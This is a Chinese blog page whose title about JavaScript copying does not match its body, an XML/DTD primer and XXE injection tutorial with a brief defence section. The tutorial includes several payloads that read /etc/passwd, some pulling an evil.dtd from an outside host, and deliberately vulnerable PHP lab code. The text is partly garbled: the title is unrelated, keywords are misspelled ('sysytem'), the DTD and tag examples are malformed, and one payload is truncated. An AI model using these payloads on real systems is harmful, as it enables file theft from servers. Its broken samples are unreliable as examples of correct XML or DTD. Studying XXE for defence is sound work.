1. 程式人生 > 實用技巧 >Javascript 實現複製(Copy)動作大全

Javascript 實現複製(Copy)動作大全

XML基礎

XML基礎知識

XML用於標記電子檔案使其具有結構性的標記語言,可以用來標記資料、定義資料型別,是一種允許使用者對自己的標記語言進行定義的源語言。XML文件結構包括XML宣告、DTD文件型別定義(可選)、文件元素。

<?xml version="1.0"?>      //xml宣告
<!DOCTYPE note [
<!ENTITY note (to,from,heading,body)>
<!ENTITY to (#PCDATA)>
<!ENTITY from (#PCDATA)>      //文件型別定義
<!ENTITY heading (#PCDATA)>
<!ENTITY body (#PCDATA)>
]>

<note>
<to>George</to>
<from>John</Ffrom>
<heading>Reminder</heading>      //文件元素
<body>Don't forget the meeting!</body>
</note>

DTD(文件型別定義)的作用是定義 XML 文件的合法構建模組。DTD 可以在 XML 文件內宣告,也可以外部引用。

DTD元素

DTD屬性

實體是用於定義引用普通文字或特殊字元的快捷方式的變數
實體引用是對實體的引用
實體可在內部或外部進行宣告

內部實體宣告語法

外部實體宣告語法

附上例項:

    內部實體宣告
    DTD 例項:
    <!ENTITY writer "Donald Duck."> <!ENTITY copyright "Copyright runoob.com">
    XML 例項:<author>&writer;&copyright;</author>
    外部實體宣告
    DTD 例項:
    <!ENTITY writer SYSTEM "http://www.runoob.com/entities.dtd"> <!ENTITY copyright SYSTEM "http://www.runoob.com/entities.dtd">
    XML 例項:<author>&writer;&copyright;</author>
    注: 一個實體由三部分構成: 一個和號 (&), 一個實體名稱, 以及一個分號(;)

XML外部實體注入(XML External Entity)

當允許引用外部實體時,通過構造惡意內容,可導致讀取任意檔案、執行系統命令、探測內網埠、攻擊內網網站等危害。 引入外部實體方式有多種,比如:

惡意引入外部實體方式1:
XML內容:

<?xml version="1.0"?>     
<!DOCTYPE a [
      <!ENTITY b sysytem "file:///etc/passwd">
]>
<c>&b;</c>

惡意引入外部實體方式2:
XML內容:

<?xml version="1.0"?>     
<!DOCTYPE a [
      <!ENTITY %d sysytem "http://mark4z5.com/evil.dtd">
      %d;
]>
<c>&b;</c>

DTD檔案(evil.dtd)內容:

<!ENTITY b sysytem "file:///etc/passwd">

惡意引入外部實體方式3:
XML內容:

<?xml version="1.0"?>     
<!DOCTYPE a sysytem "http://mark4z5.com/evil.dtd">
<c>&b;</c>

DTD檔案(evil.dtd)內容:

<!ENTITY b sysytem "file:///etc/passwd">

另外,不同程式支援的協議不一樣,

上圖是預設支援協議,還可以支援其他,如PHP支援的擴充套件協議有

防禦XXE攻擊方法

方案一、使用開發語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);

其他語言:
https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Shee

方案二、過濾使用者提交的XML資料
關鍵詞:,SYSTEM和PUBLIC。

xxe——php

github下載好之後,將php放在phpstudy的WWW檔案下即可訪問

抓包進行分析,通過post進行傳輸

檢視原始碼

<?php
/**
* autor: c0ny1
* date: 2018-2-7
*/

$USERNAME = 'admin'; //賬號
$PASSWORD = 'admin'; //密碼
$result = null;

libxml_disable_entity_loader(false);      //false所以允許載入外部例項
$xmlfile = file_get_contents('php://input');      //這裡面因為沒有xml文件所以用的是php的偽協議來獲取我們傳送的xml文件

try{
	$dom = new DOMDocument();      //建立XML的物件
	$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
	$creds = simplexml_import_dom($dom);      //這一步感覺相當於例項化xml文件

	$username = $creds->username;      //獲取username標籤的值
	$password = $creds->password;      //獲取password標籤的值

	if($username == $USERNAME && $password == $PASSWORD){      //將獲取的值與前面的進行比較。
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);    //注意必須要有username這個標籤,不然的話找不到username,就沒有了輸出了,我們也不能通過回顯來獲取資訊了
	}else{
		$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);    //與上方相同,都會輸出username的值,都可以達到我們的目的
	}	
}catch(Exception $e){
	$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}

header('Content-Type: text/html; charset=utf-8');
echo $result;
?>

構造的payload最後輸出在username裡面

]>
&test;admin

xxe——python

由於原始碼需要flask模組,所以先用pip下載flask模組然後再執行py檔案,然後訪問http://127.0.0.1:5000/